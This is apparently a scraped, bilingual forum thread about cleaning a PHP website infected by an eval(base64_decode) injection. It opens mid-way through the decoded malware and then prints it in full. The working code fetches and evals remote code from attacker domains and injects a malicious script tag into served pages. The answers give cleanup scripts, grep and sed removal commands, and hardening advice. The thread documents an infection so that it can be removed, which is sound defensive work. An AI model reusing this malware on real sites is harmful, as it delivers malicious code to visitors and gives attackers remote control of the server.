            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 

I suffered from the same hack job. I was able to decrypt the code as well, and while I got different php code, I started by removing the injected php text by looping through each php file in the site and removing the eval call. I am still investigating how I got it to begin with but here is what mine looked like after decrypting from this website:

To decode the encrypted php script on each php file use this:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/

And formatting the result using this guy:
http://beta.phpformatter.com/

To clean you need to remove the "eval" line from the top of each php file, and delete the .log folders from the base folder of the website.

I found a python script which I modified slightly to remove the trojan in php files so I will post it here for others to use:
code source from thread: replace ALL instances of a character with another one in all files hierarchically in directory tree

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

to use type

python rescue.py rootfolder

This is what the malicious script was trying to do:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 
烛影斜 2024-11-12 19:56:48

首先,关闭您的网站,直到您弄清楚他是如何进入的以及如何修复它。看起来它正在向您的客户提供恶意软件。

接下来,在 php 文件中搜索 fgets、fopen、fputs、eval 或 system。我推荐notepad++,因为它的“在文件中查找”功能。另外,请确保这是您的 PHP 唯一被修改的地方。您有离线副本可以比较吗?

First, shut off your site until you can figure out how he got in and how to fix it. That looks like it's serving malware to your clients.

Next, search through your php files for fgets, fopen, fputs, eval, or system. I recommend notepad++ because of its "Find in Files" feature. Also, make sure that that's the only place your PHP has been modified. Do you have an offline copy to compare against?

雾里花 2024-11-12 19:56:48

要摆脱这些恶意 PHP,您只需将其删除即可。如果文件被感染,您只需删除看起来可疑的部分。

找到这些文件总是很棘手,因为您的网络根目录中通常有多个文件。

通常,如果您看到某种混淆,就会对您发出红色警报。

大多数恶意软件根据其使用的常用功能很容易找到,其中包括:

  • base64_decode
  • lzw_decompress
  • eval

通过使用编码格式,它们压缩了它们的大小,并使没有经验的用户更难以解码。

以下是一些 grep 命令,它们可能会找到最常见的恶意软件 PHP 代码:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

您可以在服务器上运行这些命令,或者在将网站同步到本地计算机后运行这些命令(通过 FTP,例如 ncftpget -R )。

或者使用专门为查找此类恶意文件而设计的扫描工具,请参阅:PHP 安全扫描程序

出于教育目的,请查找以下 PHP 漏洞利用脚本集合,这些脚本是在调查被黑服务器时发现的,位于 kenorb /php-exploit-scripts GitHub (受 @Mattias 原创收藏)。这将使您了解这些 PHP 可疑文件的外观,以便您可以了解如何在服务器上找到更多此类文件。

另请参阅:

To get rid of these malicious PHP you simply needs to remove them. If the file is infected, you need to remove only the part which looks suspicious.

It's always tricky to find these files, because usually there are multiple of them across your web root.

Usually if you see some kind of obfuscations, it's red alert for you.

Most of the malwares are easy to find based on the common functions which they use, this includes:

  • base64_decode,
  • lzw_decompress,
  • eval,
  • and so on

By using encoding format, they're compacting their size and make them more difficult to decode by non-experienced users.

Here are few grep commands which may find the most common malware PHP code:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

You can run these commands on the server or once you synchronised your website into your local machine (via FTP e.g. ncftpget -R).

Or use scan tools which are specially designed for finding that kind of malicious files, see: PHP security scanners.

For education purposes, please find the following collection of PHP exploit scripts, found when investigating hacked servers available at kenorb/php-exploit-scripts GitHub (influenced by @Mattias original collection). This will give you understanding how these PHP suspicious files look like, so you can learn how to find more of them on your server.

See also:

╭⌒浅淡时光〆 2024-11-12 19:56:48

我的网站/或我托管的网站多次遭受类似的攻击。

我介绍了我为解决该问题所做的工作。我并不假装这是最好/最简单的方法,但它确实有效,从那时起我就可以主动地将球保持在我的场上。

  1. 尽快解决问题
    我创建了一个非常简单的 PHP 脚本(它是在热铁时编写的,所以可能不是最优化的代码,但它很快解决了问题):
    http://www.ecommy.com/web-security /clean-php-files-from-eval-infection

  2. 确保您知道类似的情况何时再次发生。黑客使用您安装的外部模块之一的 SQL 注入的各种方法,通过字典攻击或众所周知的密码模式(如 1qaz...qwerty.... 等)来暴力破解您的管理面板。
    我在这里展示脚本:
    http://www.ecommy .com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. cron 条目将类似于:
    0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&

我更新了页面,以便有人可以直接下载文件。
希望它对你有用,就像对我有用:)

My websites / or websites I host were hit several times with similar attacks.

I present what I did to resolve the issue. I don't pretend it's the best / easiest approach but it works and since then I can proactively keep the ball in my field.

  1. solve the issue ASAP
    I created a very simple PHP script (it was written when the iron was hot so maybe it's not the most optimized code BUT it solves the problem pretty fast):
    http://www.ecommy.com/web-security/clean-php-files-from-eval-infection

  2. make sure you know when something like this hits again. Hackers use all kind of aproaches from SQL injection of one of your external modules you install to brute force your admin panel with dictionary attacks or very well known password patterns like 1qaz... qwerty.... etc...
    I present the scripts here:
    http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. the cron entry would be something like:
    0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&

I updated the pages so someone can download directly the files.
Hope it will he useful for you as it's for me :)

-柠檬树下少年和吉他 2024-11-12 19:56:48
  1. 确保所有流行的 Web 应用程序(例如 Wordpress 或 vBulletin)均已更新。旧版本有许多漏洞可能会导致您的服务器受到损害,如果不更新,这种情况可能会再次发生。完成此操作之前,继续操作是没有用的。

  2. 如果文件不断被替换,则说明有 rootkit 或特洛伊木马在后台运行。该文件无法自我复制。您必须首先删除 Rootkit。尝试 rkhunterchkrootkitLMD。将 ps aux 的输出与安全服务器进行比较,并检查 /var/tmp/tmp 是否有可疑文件。您可能需要重新安装操作系统。

  3. 确保管理服务器的所有工作站都是最新且干净的。请勿通过不安全的无线连接进行连接或使用纯文本身份验证(如 FTP)(改为使用 SFTP)。仅使用 https 登录控制面板。

  4. 为了防止这种情况再次发生,请每天运行 csf 或类似的防火墙LMD 扫描,并保持服务器上所有应用程序的最新安全补丁。

  1. Ensure any popular web applications like Wordpress or vBulletin are updated. There are many exploits with the old versions that can lead to your server getting compromised and it will probably happen again if they are not updated. No use in proceeding until this is done.

  2. If the files keep getting replaced then there is a rootkit or trojan running in the background. That file cannot replicate itself. You will have to get rid of the rootkit first. Try rkhunter, chkrootkit, and LMD. Compare the output of ps aux to a secured server and check /var/tmp and /tmp for suspicious files. You might have to reinstall the OS.

  3. Ensure all workstations administrating the server are up to date and clean. Do not connect via insecure wireless connections or use plain text authentication like with FTP (use SFTP instead). Only log into control panels with https.

  4. To prevent this from happening again run csf or comparable firewall, daily LMD scans, and stay current with the latest security patches for all applications on the server.

燃情 2024-11-12 19:56:48

我有同样的问题,当我删除它时,代码会自动生成。我执行了这些步骤,效果很好:

1-限制 SSH 访问

我看到一些 ssh 登录尝试,猜测它可能与这恶意!

2-启用SELinux

记住配置SElinux以获取nignx权限访问文件

3-删除eval(base64_decode(...))

删除包含eval(base64_decode(...)的行)来自所有index.php [来自根文件夹、插件文件夹和......]

I have the same issue and when I delete that, the code generated automatically.I did these steps and it works fine:

1-Limit SSH access

I see some ssh logins attempt and guess it may be related to this Malicious!

2- Enable SELinux

remember that config SElinux for nignx permission access file

3- Remove eval(base64_decode(...))

remove lines contain eval(base64_decode(...)) from all index.php [from root folders, plugin's folders and ....]

萌能量女王 2024-11-12 19:56:48

假设这是一个基于 Linux 的服务器并且您具有 SSH 访问权限,您可以运行此命令来删除有问题的代码:

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

这涵盖了所有已知的 Base64 实现,并且无论 Base64 文本是用单引号还是双引号括起来都可以工作

编辑:现在可以使用内部空白也

Assuming this is a Linux-based server and you have SSH access, you could run this to remove the offending code:

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

This covers all known base64 implementations, and will work whether the base64 text is surrounded by single or double quotes

EDIT: now works with internal whitespace also

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文